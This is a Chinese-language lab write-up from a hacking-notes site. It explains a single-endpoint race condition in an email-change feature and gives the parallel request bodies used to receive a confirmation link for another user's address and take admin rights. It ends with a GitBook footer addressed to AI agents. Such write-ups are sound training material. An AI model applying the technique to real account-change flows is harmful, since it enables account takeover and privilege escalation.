> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/race-conditions/single-endpoint-race-condition.md). # 单端点竞争条件 ### 单端点竞争条件 ### 实验上下文电子邮件地址更改功能包含一个 **竞争条件** 这允许你将任意地址关联到我们的账户。一个地址为 **** 的用户有一个 **待处理的邀请** 要成为管理员，但 **尚未创建账户**。/ 所以如果有人设法 **转卖这个地址**，它就会自动获取 **管理员权限**. ### 目标 1. 寻找一个竞争条件来认领任意电子邮件地址。 2. 将账户邮箱更改为 ****. 3. 访问 **管理员面板**. 4. 删除用户 **carlos**. 提供的凭据： **wiener:peter**/ 可访问这些地址的邮件客户端 **@exploit-...exploit-server.net**. ### 正常的邮箱更改流程第一次尝试是将电子邮件更改为一个可控地址： * 新地址：/ `wiener@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net`

应用程序响应： > “请点击你电子邮件中的链接，确认将电子邮件更改为 …”

会收到一封带有确认链接的电子邮件，例如：/ `/confirm-email?user=wiener&token=ob0dI7AMlwX2Y2uw` 一旦点击该链接： > “你的电子邮件已成功更新”

在后台，请求看起来像： ```bash email=wiener%40exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` ### 无竞争的基线测试我们发送了多次邮箱更改请求，使用不同的邮箱（test1、test2……test20），每次单独发送，收到的确认都与请求的地址相对应。

```bash email=test1@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test2@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test3@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test4@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test5@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test6@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test7@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test8@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ..... email=test20@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ```

但是当你执行这些相同的请求时 **并行地**，会出现意外行为：你有时会收到与正确收件人不匹配的确认。

### 竞争条件分析观察到的行为表明处理分为两个阶段\*\*： 1. 一个阶段会 **准备/写入** 确认邮件 2. 一个阶段会 **确定哪个地址** 发送电子邮件通过并行发送一批请求，我们得以跨越这两个阶段：一封邮件的内容可以与另一个目标地址关联起来。原理：并行发送包含以下内容的混合请求：一部分包含： ```bash email=carlos@ginandjuice.shop&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` 另一部分包含一个可控地址： ```bash email=test@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` 结果：我们收到一封电子邮件，其中写道： > “要确认你将电子邮件更改为 ****，请点击下面的链接”

因此我们得到了 **确认链接** 对应 Carlos 的地址，我们可以最终完成邮箱更改为 ****.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/web/race-conditions/single-endpoint-race-condition.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.